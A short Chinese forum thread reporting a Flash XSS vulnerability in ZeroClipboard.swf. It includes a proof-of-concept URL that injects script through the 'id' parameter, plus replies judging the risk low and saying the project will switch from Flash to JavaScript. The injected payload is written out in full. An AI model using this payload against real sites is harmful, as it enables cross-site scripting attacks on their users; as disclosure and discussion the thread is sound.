【已解决】通用型Flash xss漏洞

http://****:8888/static/js/ZeroClipboard.swf?id=\%22))}catch(e){confirm(/XSS./.source);}//&width=500&height=500&.swf

收复高雄 · 发表于 2018-7-25 07:50:33

如果有官方尽快修复吧

凡人 · 发表于 2018-7-25 14:50:24

风险较低，可以忽略。不过为了避嫌，还是取消那个flash 换成js来实现。

这个漏洞只要有flash都会有，但是利用条件非常非常非常高，需要满足无数多的条件，如果有精力搞这个，肯定不如搞其他来的快，就像如果你有一把冲锋枪的话不会拿冲锋枪去抢路人的10元钱，而是直接冲着银行去。